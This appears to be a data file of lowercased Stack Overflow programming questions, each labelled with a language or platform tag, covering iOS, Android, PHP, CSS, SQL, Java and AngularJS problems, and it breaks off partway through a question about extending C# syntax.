move uilabel on custom cell when entering editing  i ve got 3 uilabels added to a uitableview cell.  the problem that i am running into is when i swipe to delete  my uilabel on the right side of the cell doesn t move so the delete button and the uilabel are overlapping each other. i ve posted some of my code below.    i developed my layout using storyboard  so from what i am reading  frames aren t going to help.   <pre><code>    -(uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath{      nsstring *basetablecellidentifier = @ basecell ;       uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:basetablecellidentifier];      baseinfo *infoatindex = [[[dataclass getinstance] allitems] objectatindex:[indexpath row]];       basename = (uilabel *)[cell viewwithtag:1];      baseicao = (uilabel *)[cell viewwithtag:2];      basetime = (uilabel *)[cell viewwithtag:3];      [cell.contentview addsubview:basename];     [cell.contentview addsubview:baseicao];     [cell.contentview addsubview:basetime];      [basename settext:[infoatindex name]];     [baseicao settext:[infoatindex icao]];        basetimezome = [nstimezone timezonewithname:[infoatindex timezone]];     [basedate setdateformat:@ hh:mm ];     [basedate settimezone:basetimezome];      nsstring *basetimestring = [basedate stringfromdate:[nsdate date]];     [basetime setfont:[uifont boldsystemfontofsize:20]];     [basetime settext:basetimestring] ;       return cell; }   -(void)setediting:(bool)editing animated:(bool)animated{      if (editing) {          //no idea what to put here      }else{      }    } </code></pre>,ios
calculating a mkmaprect that contains all pins  i m trying to zoom in on a map that focuses on all the pins that were associated that map.  i have that information saved off in my map property.    i am starting with this  but it s not working yet:   <pre><code>    double maxlatitude = 0;     double minlatitude = 0;      double maxlongitude = 0;     double minlongitude = 0;      for (mkannotation *address in self.map.locations) {         // latitude         if ([address.latitude doublevalue] &gt; 0) {             maxlatitude = max(maxlatitude  [address.latitude doublevalue]);         }         else {             minlatitude = max(abs(minlatitude)  abs([address.latitude doublevalue]));         }          // longitude         if ([address.longitude doublevalue] &gt; 0) {             maxlongitude = max(maxlongitude  [address.longitude doublevalue]);         }         else {             minlongitude = max(abs(minlongitude)  abs([address.longitude doublevalue]));         }     }     double centerlatitude = (maxlatitude - abs(minlatitude)) / 2;     centerlatitude *= [self calculatesignwithfirstvalue:maxlatitude secondvalue:minlatitude];      double centerlongitude = (maxlongitude - abs(minlongitude)) / 2;     centerlongitude *= [self calculatesignwithfirstvalue:maxlongitude secondvalue:minlongitude]; </code></pre>   // create some mkmaprect with the coordinates     i don t think i understand the mkmaprect though since when i try to do something like this:   <pre><code>    cllocationcoordinate2d theorigin = cllocationcoordinate2dmake(32  -117);     mkmaprect maprect;     maprect.origin = mkmappointforcoordinate(theorigin);     maprect.size = mkmapsizemake(10  10); </code></pre>   i get put over the ocean instead of san diego.  not sure what s going on with a mkmaprect.,iphone
how to use 3 xib in single class  i have a class and want to handle 3 xib or nib (i don t know the exact difference) files from it i know that 3 files can be handled from 3 different view controller but can it be done from single view controller     i tried this on a button click  but with no success   <pre><code>-(ibaction)gotonext2{     [self initwithnibname:@ secondnib  bundle:nil];         [self presentmodalviewcontroller:self animated:yes]; } </code></pre>   can it be done with a navigation controller,iphone
objective-c  how can i hook up a method in another class  objective-c keeps all its methods in a huge hashtable - so shouldn t it possible to patch this table and replace an existing method with my own patched method (which then calls the original)      i need a way to hook up the nswindow keyup method in a window which i can t subclass cause it s already created.    i need some code or at least some keywords i can use for further searching.,objective-c
sql composite primary key  i ve been trying the whole afternoon to make this work but it gives me an error when creating the 2nd  3rd and 4th table (those with the foreign keys referencing the composite primary key on the first table). it says there are no pks on the referenced table. i ve googled  checked stackoverflow  checked my notes and still don t know why it gives me the error.    sorry the code is in spanish and thanks in advance   <pre><code>create database proyecto_camiones go use proyecto_camiones go  create table servicios (     ruta int not null      nif varchar(9) not null      matricula varchar (10) not null      fecha date not null     primary key (ruta  nif  matricula)     )  create table camiones (     matricula varchar(10) not null unique references servicios (matricula)      fecha_alta date not null      ultima_inspeccion date not null     )  create table transportistas (     nif varchar(9) not null references servicios (nif)      nombre varchar(30) not null      direccion varchar(30) not null      fecha_nac date not null     )  create table rutas (     codigo int not null unique references servicios (ruta)      inicio varchar(15) not null      final varchar(15) not null     ) </code></pre>,sql
how to convert to string arraylist with another specification  arraylist<person> in java <pre><code>package com.company;  import java.util.arraylist; import java.util.list;  public class main {     public static void main(string[] args) {         arraylist&lt;person&gt; plot = new arraylist&lt;person&gt;();         plot.add(new person( john ));         plot.add(new person( jane ));         repkastory.tell(plot);     }      private static class person implements repkastory {        string name;         private person(string name) { this.name= name; }     }      public interface repkastory {      static void tell(list&lt;person&gt; a){          for (person x  :  a ) {                 system.out.println(x.tostring);              }         }     } } </code></pre>   but it gives as result   <pre><code> com.company.main$person@677327b6     com.company.main$person@1540e19d </code></pre>   and i can t convert it into string.,java
detect a continuous press on view  i need to play a certain sound as long as the user holds an <code>imageview</code> pressed and pause it when the user stop holding it. before doing anything with the <code>mediaplayer</code>  i tried to test it with a <code>vibrator</code>(please don t laugh at this point) object. i ve implemented and set an <code>ontouchlistener</code>:   <pre><code>    @override public boolean ontouch(view v  motionevent event) {      switch (event.getaction()) {      case motionevent.action_down:          vib.vibrate(50);          break;      case motionevent.action_move:         /*--- no action required ---*/         break;      case motionevent.action_up:          vib.cancel();         break;     }     return false;  } </code></pre>   however  the vibrate action is only performed once  no matter how long i hold the <code>imageview</code> pressed. i guess a <code>mediaplayer</code> will react the same way. what am i doing wrong     p.s. the press is detected correctly  because the <code>vibrator</code> logs  cancel()  only after i release my finger.,android
rails  setting multiple non-database attributes from one method  i m a new ror user and i m running into some serious ruby logic problems. i done some php before and know exactly what i want to do  and how to do it in php  but it has taken me hours and i m no closer to solving it in rails.    i ll try to outline my intended outcome.     i have a database model  sailing  which has users. each user has a birthday  language spoken  name  etc.     i want to create my business logic in the model. for example  for a sailing object  i want to be able to call a method in my view that shows the total users on the sailing  i want to be able to show the top 3 languages spoken by those users  and gather the age data into age(0-12  13-18  19-29  etc..).    i have been using attr_accessor to add non-database attributes to my model. below i ll outline some pseudo code defining what i am trying to do.   <pre><code>def gather_data   self.travelling_parties.flat_map do |party|     party.party_registers.map do |reg|       reg.user.detailed_user # returns an array of all my users (working as intended)       ** count up users and set to non-database attribute **       ** calculate age of users and set three non-database attributes to the largest 3 age groupings **       ** count languages and set three non-database attributes to the largest 3 languages end </code></pre>   ruby methods do not seem to allow me to set multiple variables in the same method. when i do  it seems to  return  prematurely.    is there any way i can do this logic in the model  or what is what i m trying to do even possible in ruby     thanks     <strong>update</strong>    i thought i d update my question to try and make things more clear. the following code is in the <strong>view</strong>  but i want to move it to the <strong>model</strong>.   <pre><code>&lt;% hash = hash.new(0) %&gt; &lt;% sailing.primary_language.each { |language| hash[language] += 1 } %&gt; &lt;%= debug hash %&gt; # example output  english: 2 french: 3 german:1 &lt;%= hash.max_by{ |k v| v}[0] %&gt; # example output  french </code></pre>   the idea is that i m setting each string into the hash  and if it exists  i m increasing the value by one. i assume the best practice in ruby is to do this in the model  but for the life of me i can t figure it out.    cheers.,ruby-on-rails
retrieving date that a value was updated   i want to be able to retrieve the date that a value was updated. is this possible  we have a training database and people eventually go inactive when they leave our organisation. but this is just a simple boolean column. i was hoping to use a where statement that only retrieves values that are  inactive  and where this value was only updated after a certain date     is that possible,sql
possible to limit android app by device  not by os version   if i want a certain application to be available for certain devices only or for tablets only  is there any way to make limitations by device (like i can limit the min/max android os version)     i say it is impossible. do you agree,android
how to send huge text via header of urlconnection in android   i m trying to send an image to my web api server. my idea is convert to base64 the byte array of the image  then add the string to header of urlconnection. i tested with short string  it worked normally. but when i tried to send a long string  it return  filenotfoundexception . this is my code for url connection     <pre><code>url url; httpurlconnection urlconnection = null;  try {         url = new url(link);         urlconnection = (httpurlconnection) url.openconnection();         urlconnection.setrequestmethod( post );         urlconnection.setusecaches(false);         urlconnection.setdoinput(true);         urlconnection.setdooutput(true);         urlconnection.setrequestproperty( connection    close );         urlconnection.setrequestproperty( cache-control    no-cache );         urlconnection.setrequestproperty( content-type    application/json );         urlconnection.setrequestproperty( accept   */* );          if (mavatar != null) {             bytearrayoutputstream bytearrayoutputstream = new bytearrayoutputstream();             mavatar.compress(bitmap.compressformat.jpeg  100  bytearrayoutputstream);             string enimage = base64.encodetostring(bytearrayoutputstream.tobytearray()  base64.default);              //urlconnection.addrequestproperty( content-length   string.valueof(enimage.length()));             urlconnection.setrequestproperty( image   enimage);         }          inputstream in = urlconnection.getinputstream();         inputstreamreader isw = new inputstreamreader(in);         int data = isw.read();         while (data != -1) {             char current = (char) data;             data = isw.read();             result += current;         }     } catch (exception ex) {         ex.printstacktrace();         log.e(constants.tag  ex.getmessage());     } finally {         if (urlconnection != null) {             urlconnection.disconnect();         }     } </code></pre>   what do i miss  anyway  this is only my idea for that problem. any other ideas are appreciate!,android
how can i change the font type of  logout   hi does anyone know how to make the logout! text white     <pre><code>  echo  welcome   .$_session[ username ]. !&lt;br&gt;&lt;a href= logout.php &gt;logout! ;      &lt;font color= #ffffff &gt;your text&lt;/font&gt;  </code></pre>,html
listing users online  in <a href= https://stackoverflow.com/questions/36397416/cant-manage-out-how-to-show-users-online >this</a> question i asked how to list out users currently online in the chat. while discussing i was given an <a href= https://stackoverflow.com/questions/10805479/rails-how-to-check-for-online-users >answer</a>  and i tried to implement it  but i didn t succeed. so  i made a migration <code>add_last_online_to_users last_online:datetime</code> and made a tweak in <code>user</code> model:    <strong><code>user.rb</code></strong>:   <pre><code>def self.online_now   where ( last_online &gt;     15.minutes.ago) end </code></pre>   and then added to my <code>message</code> controller  so that each time an user sends a message  his <code>last_online</code> updates to <code>time.now</code>. finally  i added to my <code>application_controller</code> the following code:   <pre><code>def show_online   @users = user.online_now end </code></pre>   and called that method in my view:   <pre><code>&lt;% @users.each do |user| %&gt;     &lt;%= user.show_online %&gt; &lt;% end %&gt; </code></pre>   that returned me a <code>nomethoderror: undefined method  each  for nil:nilclass</code>,ruby-on-rails
jquery code issue - appending  this is my main code   <pre><code>&lt; php include   . $_server[ document_root ] .  /php/ticket/loadcomments.php ;  &gt; &lt;div id= commentsarea &gt; &lt;/div&gt; </code></pre>   this is my jquery below this:   <pre><code>channel.bind( ticketclient.sendcomment   function(data) {   $( #commentsarea ).append(               &lt;div class= ticket-comment &gt;              &lt;span class=   + data.role +  -color &gt;  + data.name +  &lt;/span&gt;              &lt;div class= formbreak &gt;&lt;/div&gt;              &lt;span class= text &gt;  + data.comment +  &lt;/span&gt;              &lt;/div&gt;&lt;br&gt; );   alert(data.comment); }); </code></pre>   this won t append the code to the div and doesn t alert the data but without the appending code it seems to alert therefore  my error lies in that jquery appending. any help please.,jquery
use name in other element than div or span  but still possible to show img <pre><code>&lt;span name= tumme &gt;&lt;img ...  </code></pre>   is not valid because  name  is not valid in  span .     but i need to use name= tumme  and i need to be able to use text and img inside the tag.     so what tag can i use together with  name  and on the same time follow w3c,html
inject a text above a div centered horizontally and vertically  i have a div on my page and i would like to superpose a text above this div thanks to jquery. this text must be  centered horizontally and vertically. i need this to show to the user this zone is allowed to drop a file in it.   <pre><code>&lt;div class= dropzone  style= width: 300px; height: 200px; background-color: gray &gt;     lorem ipsum blah blah... lorem ipsum blah blah... lorem ipsum blah blah... lorem ipsum blah blah... lorem ipsum blah blah... lorem ipsum blah blah...  &lt;/div&gt; </code></pre>   jsfiddle: <a href= http://jsfiddle.net/dd2jq/  rel= nofollow >http://jsfiddle.net/dd2jq/</a>    i have no idea how to proceed to inject a text above my div. i know we have the append jquery function but no idea how to proceed.    any help is greathly appreciated.,jquery
protecting imported modules from being corrupted by third party code  if my code uses third party modules that cannot be trusted  is there anything to prevent situation like this:    untrustedmodule.py:   <pre><code>import random  random.random = lambda : 4 </code></pre>   mymodule.py:   <pre><code>import random import untrustedmodule  print (random.random()) </code></pre>   where just importing this module breaks assumptions about other  unrelated ones,python
online examination how to store radio button value when multiple questions are displayed in php <pre><code>  &lt; php      include  connect.php ;      session_start();      $servedquestions = array(0);      $c= select * from `qa`; ;      $r=mysqli_query($conn $c);      $count=mysqli_num_rows($r);      while(count($servedquestions) &lt;= 5) {         $n1 = mt_rand(1 $count);         if (in_array($n1  $servedquestions))           continue;         $servedquestions[] = $n1;      }      $selected=[];      for($i=1;$i&lt;count($servedquestions);$i++){        echo  &lt;br&gt; ;        $get_question= select * from `qa` where qno =                          `  .$servedquestions[$i].  ; ;         $result=mysqli_query($conn $get_question);        $row=mysqli_fetch_array($result);        $qno=$row[ qno ];        $question=$row[ question ];        $opt1=$row[ opt1 ];        $opt2=$row[ opt2 ];        $opt3=$row[ opt3 ];        $opt4=$row[ opt4 ];        echo  question: $i &lt;br&gt;&amp;nbsp&lt;br&gt; ;           echo $question &lt;br&gt;&lt;br&gt;  ;         echo &lt;input type= radio name= response[$qno] value= 1 &gt;$opt1&lt;br&gt;  ;         echo &lt;input type= radio  name= response[$qno]  value= 2 &gt;$opt2&lt;br&gt;  ;        echo &lt;input type= radio  name= response[$qno]  value= 3 &gt;$opt3 &lt;br&gt; ;        echo &lt;input type= radio  name= response[$qno]  value= 4 &gt;$opt4&lt;br&gt; ;         echo  &lt;br&gt; ;        $v=$_post[ response[ .$qno. ] ];        echo $v;     &gt; </code></pre>   initally code generate 5 random numbers for those numbers 5 random questions are displayed . when im trying to echo the value of radio button its say that undefined index .im not able to print the value of radio button.,php
ngmodel doesn t work in the custom directive  i knew definitely it is problem i didn t understand the scope of angularjs well. i had to committed it is hard for me. so i post a example here  hope someone help me to get it more clear. thanks.    <strong>html part</strong>   <pre><code>&lt;test-area ng-model= testmodel.text &gt;&lt;/test-area&gt; &lt;input type= text  ng-model= testmodel.text &gt;&lt;/input&gt; &lt;textarea ng-model= testmodel.text &gt;&lt;/textarea&gt; </code></pre>   <strong>js part</strong>   <pre><code>app.controller( appcontroller   function ($scope  $log) {     $scope.testmodel={text: 123 }; })  app.directive( testarea  function() {     var textareainputdir = {};     textareainputdir.restrict= e ;     textareainputdir.replace= true ;     textareainputdir.template= &lt;div&gt;&lt;textarea &gt;&lt;/textarea&gt;&lt;label&gt;&lt;small&gt;&lt;/small&gt;&lt;span &gt;*&lt;/span&gt;&lt;/label&gt;&lt;/div&gt; ;     textareainputdir.require= ngmodel ;     textareainputdir.link=function (scope  jqelement  attrs ngmodelctrl) {         scope.backgroundvalue={text:  };         ngmodelctrl.$render = function () {             jqelement.find( textarea ).text(ngmodelctrl.$viewvalue);             scope.backgroundvalue.text=ngmodelctrl.$viewvalue;         }         //get the textarea element         var txtareaelement = jqelement.find( textarea );         //listen for the change event          txtareaelement.bind( keyup   function(){             if (scope.$$phase) return;             scope.$apply(function () {                 var bgval=angular.isstring(ngmodelctrl.$viewvalue)   ngmodelctrl.$viewvalue :   ;                 scope.backgroundvalue.text=bgval;                 ngmodelctrl.$setviewvalue(bgval);             });          });         scope.$watch( backgroundvalue.text  function()         {             ngmodelctrl.$setviewvalue(scope.backgroundvalue.text)         });     };     return textareainputdir; }); </code></pre>   please review what i had done so far in the <a href= http://jsfiddle.net/malaikuangren/5qmn8/2/  rel= nofollow >fiddle</a>.    i was trying to implement a two ways binding for my directive <code>testarea</code> and others. but i can t figure out why it doesn t work in my directive      <strong>updated</strong>    i changed the code a little bit. but still have problem. if i changed the value of text area. the 2 ways binding will be lost...   <pre><code>txtareaelement.bind( keyup   function(){             if (scope.$$phase) return;             scope.$apply(function () {                 var txtareaelement = jqelement.find( textarea );                         var bgval=txtareaelement[0].value;                 scope.backgroundvalue.text=bgval;                 ngmodelctrl.$setviewvalue(bgval);              });          }); </code></pre>,angularjs
css padding not working properly   i think i have a issue with the padding. i made a simple box with only just a <code>padding: 20px;</code> and for me it looks like the padding-bottom is more than 20px.     here are some screenshots:     <img src= https://i.stack.imgur.com/mylro.png  alt= enter image description here > <img src= https://i.stack.imgur.com/uiopr.png  alt= enter image description here >    here is my simple css:   <pre><code>.panel {   width: auto;   height: auto;   border-radius: 2px;   margin-bottom: 20px;   position: relative; }  .panel-default {   padding: 20px;   border: 1px solid #e0e0e0;   background: #fff; }  .panel-default &gt; .panel-body {   font-size: 14px; } </code></pre>   <strong>html:</strong>    <pre><code>&lt;div class= grid_4 &gt;     &lt;div class= panel panel-default &gt;       &lt;div class= panel-body &gt;lorem ipsum dolor sit amet.&lt;/div&gt;     &lt;/div&gt;   &lt;/div&gt; </code></pre>   i use 960 grid system  but i dont think this happend because of this. and i have in my <code>html  body {}</code> the box-sizing set up to border-box and the line-height to 24px.    hope someone can help me :),css
how many string objects this program will create  below is a java program.    <pre><code> public string makinstrings() {  string s = “fred”;  s = s + “47”;  s = s.substring(2  5);  s = s.touppercase();  return s.tostring();  } </code></pre>   how can i find out how many string object is created in the string pool. i think there are 4 objects created which are -  fred     fred47     ed4     ed4 . is this correct assumption,java
preferredscreenedgesdeferringsystemgestures is not called  <a href= https://github.com/antidote-for-tox/antidote/  rel= nofollow noreferrer >https://github.com/antidote-for-tox/antidote/</a>    when i override <code>preferredscreenedgesdeferringsystemgestures</code> in the view controller that is embedded in a tab bar controller  the function is not called.,ios
can t get action listener to work with jbutton and jtext  today i am attempting to create a gui with a text field and three buttons. the user will be able to input a variety of numbers in the text field and depending upon the number they type and the button clicked various decision statements will occur.     i have created my code and added the action listeners but for some reason the action listener for my first button doesn t work. i want it to change the value of a variable i am using as a counter or another method if it works better. i will paste me code below if someone can tell and show me how to accomplish what i want i would very much appreciate it!    <pre><code>package nacha;  import java.awt.borderlayout; import java.awt.event.actionevent; import java.awt.event.actionlistener; import javax.swing.boxlayout; import javax.swing.jbutton; import javax.swing.jframe; import javax.swing.jlabel; import javax.swing.jpanel; import javax.swing.jtextfield;  public class testing extends javax.swing.jframe {      static  string code = null;     static int button1toggle = 0;      public static void main(string args[]){          int sixbatch1totalcounter=1;         int sixbatch1total=2;         int main = 1000001;          jpanel p = new jpanel();         jpanel p2 = new jpanel();          borderlayout layout = new borderlayout();          layout.sethgap(10);         layout.setvgap(10);          final jtextfield reasoncode = new jtextfield(10);           reasoncode.addactionlistener(new actionlistener(){             public void actionperformed(actionevent ev){                 object source = ev.getsource();                 }                 });          jbutton button1 = new jbutton( next );         button1.addactionlistener(new actionlistener(){             public void actionperformed(actionevent ev){             button1toggle=1;             }             });          final jbutton button2 = new jbutton( next batch );         button2.addactionlistener(new actionlistener(){             public void actionperformed(actionevent ev){              }         });          final jbutton button3 = new jbutton( submit );         button3.addactionlistener(new actionlistener(){             public void actionperformed(actionevent ev){              }         });          jlabel label = new jlabel( &lt;html&gt;  +                  entry detail:  +                  &lt;br&gt; +main+                  &lt;br&gt;entry detail  +sixbatch1totalcounter+  of  +sixbatch1total+                  &lt;br&gt;&lt;br&gt;please type 1-21 to apply reason code and addenda record to the entry detail record. +                  &lt;br&gt;to omit displayed entry detail from the return  simply leave the input line blank and press enter. +                  &lt;br&gt;&lt;br&gt;reason code descriptions: +                  &lt;br&gt;r01 - insufficient funds +                  &lt;br&gt;r02 - account closed +                  &lt;br&gt;r03 - no account +                  &lt;br&gt;r04 - invalid account number +                  &lt;br&gt;r05 - unauthorized debit to consumer account using corporate sec code +                  &lt;br&gt;r06 - returned per odfi request +                  &lt;br&gt;r07 - auth revoked by customer +                  &lt;br&gt;r08 - payment stopped +                  &lt;br&gt;r09 - uncollected funds +                  &lt;br&gt;r10 - customer advises not authorized                  );          p.setlayout(layout);         p.add(label borderlayout.north);         p.add(reasoncode borderlayout.south);         p2.add(button1 borderlayout.west);         p2.add(button2 borderlayout.center);         p2.add(button3  borderlayout.east);          jframe frame = new jframe();         frame.setsize(450 450);          borderlayout borderlayout = new borderlayout();         borderlayout.sethgap(10);         borderlayout.setvgap(10);          frame.setlayout(borderlayout);         frame.add(p borderlayout.north);         frame.add(p2 borderlayout.south);          frame.setvisible(true);               code = reasoncode.gettext();             if (reasoncode.gettext().equals( 1 ) &amp;&amp; button1toggle==1){                 system.out.println( pass );               }            }      } </code></pre>,java
how do you use memcached (not memcache) with php  on the first page  i have this   <pre><code>// start memcached $m = new memcached(); $m-&gt;addserver( localhost   11211); $key =  test_  . $id_ref; $test_data = array(....); $m-&gt;set($key  $test_data); // end memcached </code></pre>   ok  so far. on the next page    <pre><code>// start memcached $m-&gt;connect( localhost   11211); var_dump($m-&gt;get($key)); // end memcached </code></pre>   the errors are:   <ol> <li>undefined variable: m and</li> <li>fatal error: call to a member function connect() on a non-object</li> </ol>   where did i go wrong.,php
the default value for an html <select> element not working  i want my dropdown to have the default value of  no  <code>value=0</code> and i used <code>selected</code> but when the program runs it doenst show the  no  after the page load. ive tested my code in <a href= https://jsfiddle.net/2yydcd9n/  rel= nofollow >jsfiddle</a>  and its working correctly. ive reloaded the cache before running the program but no success.,html
which these php script use less memory of server  <pre><code>function test($matches) {     $fx =   ;     if(strpos($matches[0]  http:// )===false)     {         $fx =  http:// ;     }     elseif(strpos($matches[0]  http:/ )===false)     {         $fx =  http:/ ;     }     elseif(strpos($matches[0]  http: )===false)     {         $fx =  http: ;     }     elseif(strpos($matches[0]  http )===false)     {         $fx =  http ;     }     return $fx.$matches[0]; } </code></pre>   or   <pre><code>function test($matches) {     if(strpos($matches[0]  http:// )===false)     {         return   http:// .$matches[0];     }     elseif(strpos($matches[0]  http:/ )===false)     {         return  http:/ .$matches[0];     }     elseif(strpos($matches[0]  http: )===false)     {         return  http: .$matches[0];     }     elseif(strpos($matches[0]  http )===false)     {         return  http .$matches[0];     } } </code></pre>   i m trying to write my scripts to them use less memory as possible  but idk sometimes the code look ugly  in my opnion the first script look more pretty and organized  but i think it use more memory of server.    thanks.,php
how does this python string code work   my professor showed the class some code we can use to display the initials of a name  but she never explained how it works. the textbook doesn’t help much either. i am confused only on the second line. this isn’t for homework; i just want to know what makes it display the first letters in the string.<br/>   <pre><code>username = input( enter your name:  ) initials =  . .join(name[0].upper() for name in username.split()) print(initials) </code></pre>,python
how to center div and text align left   i have this demo <a href= http://jsfiddle.net/cgp87/2601/  rel= nofollow >http://jsfiddle.net/cgp87/2601/</a> but i dont know how to center this div and inside it to put this text align left. any suggestion    <pre><code>&lt;div style= width:100%; &gt;     &lt;div class= row-left &gt;         &lt;h2&gt;bavaria 31&lt;/h2&gt;         &lt;h4&gt;(id : 1021)&lt;/h4&gt;         &lt;div class= stars-rating &gt;            &lt;fieldset class= rating &gt;             &lt;input type= radio  id= star5  name= rating  value= 5  /&gt;&lt;label for= star5  title= rocks! &gt;5 stars&lt;/label&gt;             &lt;input type= radio  id= star4  name= rating  value= 4  /&gt;&lt;label for= star4  title= pretty good &gt;4 stars&lt;/label&gt;             &lt;input type= radio  id= star3  name= rating  value= 3  /&gt;&lt;label for= star3  title= meh &gt;3 stars&lt;/label&gt;             &lt;input type= radio  id= star2  name= rating  value= 2  /&gt;&lt;label for= star2  title= kinda bad &gt;2 stars&lt;/label&gt;             &lt;input type= radio  id= star1  name= rating  value= 1  /&gt;&lt;label for= star1  title= sucks big time &gt;1 star&lt;/label&gt;          &lt;/fieldset&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>,css
what  exactly  is needed for  margin: 0 auto;  to work   i know that setting <code>margin: 0 auto;</code> on an element is used to centre it (left-right). however  i know that the element and its parent must meet certain criteria for the auto margin to work  and i can never seem to get the magic right.    so my question is simple: what css properties have to be set on an element and its parent in order for <code>margin: 0 auto;</code> to left-right centre the child,css
to deploy .net com dll as a cab which registers in server  how to deploy .net com dll  (activex) as a cab which register in server    i tried with this inf file.    [version] signature= $chicago$  advancedinf=2.0    [add.code] so.dll=so.dll    [so.dll] file-win32-x86=thiscab clsid={clsid:eb27d320-f48e-45c1-bca8-4deeefd54e0d} fileversion=1 0 0 0 registerserver=yes hook=dotnet_installer    [dotnet_installer] run=%extract_dir%\regasm.exe %extract_dir%\so.dll,.net
iphone app testing: how do i get a clean install   when testing an iphone app i am developing there are certain steps i can take to induce an error which would for example cause the app to crash on loading or at some other point consistently even if i were to kill the app and load it up again.    i would assume that in order to reset this internal inconstancy of state that is causing the crashing that i could simply reinstall the app. however  the problem will persist after reinstall and can only be resolved by installing a more recent build.    i can only assume that some app data is being retained and reused even though it is being deleted and reinstalled (from ipa).    is there a way to prevent this from happening  e.g. doing some kind of  clean install      edit: if i reinstall and restart my phone then the problem is solved. does this point to any issues with the app code in particular,ios
load data terminated by does not import  table: id int not null primary key auto_increment number int not null unique    my file: 111 222 333    load data local infile  file.txt  ignore into table mytable fields terminated by  \n  (number); - everything works fine. but if i have:    file: 111;222;333    load data local infile  file.txt  ignore into table mytable fields terminated by  ;  (number); - it imports only 111 and stops. why,mysql
js - splitting a string and looping through results  in js  i m having trouble working out how to split a string coming from an ajax call.    this is what i have so far:   <pre><code>xmlhttp.onreadystatechange = function() { if (xmlhttp.readystate==4 &amp;&amp; xmlhttp.status==200) { feedupdateresponse = xmlhttp.responsetext; /////...split script...///// } } xmlhttp.open( get   https://mydomain.com/myscript.aspx  true); xmlhttp.send(); </code></pre>   where you have /////...split script...///// in my script above  i need to add a little function that splits the string returned from my ajax call.    the string simply contains names of divs  like this:   <pre><code>feedupdateresponse =  div1/div2/div3/div4  </code></pre>   i would like to first split the string by its slashes (/) and run a loop through the different values and do stuff to those elements on my page.    to give an idea of what i need to achieve  i have given this example which is a mix of asp &amp; js - it s the only way i can possibly describe it (and show that i ve had an attempt) :)   <pre><code>myarray = split(feedupdateresponse  / ) for each x in myarray documentgetelementbyid( updateavailable_ +x).style.visibility= visible ; next </code></pre>   on my page i have an asp script that produces jquery carousels  all contained by separate divs. the divs are named div1  div2 etc. inside div1  for example  is a text element called <code>updateavailable_div1</code> which will alert the user  there are new photos available for this feed  please click the refresh button .    could somebody please explain to me how i can change my example above to work in js  just need to split the string into an array and loop through the split values...,javascript
push notification integration steps in android  i am new in android apps development. can anybody suggest me how to use push notification in android application. it will be helpful for me if you give step by step integration steps.,android
while & if loop expected error  i need to write a program that would read in numbers from the keyboard  compute the average of the numbers  and display it. the sequence of numbers are to be terminated with a zero.    here is my code:    <pre><code>#include &lt;iostream&gt; #include &lt;iomanip&gt; #include &lt;cmath&gt; using namespace std; int main() {     int count;     double number  sum  average;      count = 0;     sum = 0;     average = 0;      cout &lt;&lt;  \nenter number (0 to terminate):  ;     cin &gt;&gt; number;      while(number! = 0.0)     {         sum = sum + number;         count = count + 1;         cout &lt;&lt;  \nenter number:  ;         cin &gt;&gt; number;     }     if(count! = 0.0);     {         average = sum/count;     }      cout &lt;&lt;  \nthe average of the  &lt;&lt; count &lt;&lt;  number is  &lt;&lt; average &lt;&lt; endl;     return 0; } </code></pre>   however  i am getting two errors:   <blockquote>    expected  )   </blockquote>   and   <blockquote>    if statement has empty body  </blockquote>,c++
putting conditional logic in angular template  this seems a little arduous to me. looking for opinions on whether this the  best  way to do it.    i have a field in a row of a table. the value comes from the api  and i am to display  - the appropriate icon   - in the appropriate colour   - with the appropriate title text.    is there a more succinct way of doing this  should i be doing this logic in the template  should this be handled in the controller  or the directive    <pre><code>&lt;div class= ngcelltext &gt;     &lt;span         ng-class= {              icon-default :!row.entity[col.field]               icon-done :row.entity[col.field] ==  available                icon-warning :row.entity[col.field] ==  processing                icon-default :row.entity[col.field] ==  not_available          }           title=  {{row.entity[col.field] ==  available     available  :   }}{{ row.entity[col.field] ==  not_available     not available  :   }}{{ row.entity[col.field] ==  processing     processing  :   }}{{ !row.entity[col.field]    unknown  :   }} &gt;         &lt;i             class= fa              ng-class= {                  fa-check-square-o :row.entity[col.field] ==  available                    fa-times :row.entity[col.field] ==  not_available                    fa-clock-o :row.entity[col.field] ==  processing                    fa-question :!row.entity[col.field]} &gt;         &lt;/i&gt;     &lt;/span&gt; &lt;/div&gt; </code></pre>,angularjs
css div extend to fit image  i use the following code in an effort to create two divs  a big grey one and one in it that also has an image on the right. code works good but both divs don t extend to where the image ends... how can i fix this    <pre><code>&lt;style&gt; div.div1 { background-color: #f1f1f1; border: 1px solid #cccccc; padding: 10px; } div.div2 { background-color: #e2d8ba; border: 1px solid #000000; padding: 10px; text-align: justify; } &lt;/style&gt; &lt;div class= div1 &gt; &lt;div class= div2 &gt; &lt;img src= http://www.dailyrecoverymeditations.com/forums/image.php u=2057&amp;dateline=1404850818  style= float:right; padding-left: 10px; &gt; testing text testing text testing text testing text testing text testing text testing text testing&lt;/div&gt; &lt;/div&gt; </code></pre>,css
extending c# language  how much effort/gain  <h1>introduction</h1>   as a developer  i m involved in writing a lot of mathematical code everyday and i d like to add very few syntactic sugar to the c# language to ease code writing and reviewing.    i ve already read about this <a href= https://stackoverflow.com/q/3969198/684399 >thread</a> and this other <a href= https://stackoverflow.com/q/3981825/684399 >one</a> for possible solutions and would simply like to know which best direction to go and how much effort it may represent to solve only for the three following syntactical issues*.     *: i can survive without described syntactic sugars  but if it ain t too much work and <em>rube-goldberg</em> design for simple compilation process  it may be interesting to investigate further.      <h1>1. multiple output arguments</h1>   i d like to write:   <pre><code> [double x  int i] = foo(z); </code></pre>   instead of:   <pre><code> double x;  int i;  foo(out x  out i  z); </code></pre>   nb: <code>out</code> parameters being placed first and <code>foo</code> being declared as usual (or using same kind of syntax).   <h1>2. additional operators</h1>   i d like to have a few new unary/binary operators. don t know much how to define for these (and it seems quite complex for not introducing ambiguity when parsing sources)  anyway would like to have something like:   <pre><code>namespace foo {     using binary operator  \  as  mymath.leftdivide ;     using unary operator     as  mymath.conjugatetranspose ;      public class test     {          public void example()          {              var y = x ;              var z = x \ y;          }     } } </code></pre>   instead of:   <pre><code>namespace foo {     public class test     {          public void example()          {              var y = mymath.conjugatetranspose(x);              var z = mymath.leftdivide(x  y);          }     } } </code></pre>  <h1>3. automatic name insertion for static classes</h1>   it s extremely unappealing to endlessly repeating <strong>math</strong>.blablabla() everywhere in a computation code instead of writing directly and simply <em>blablabla</em>.     for sure this can be solved by adding local methods to wrap <strong>math</strong>.blablabla inside computation 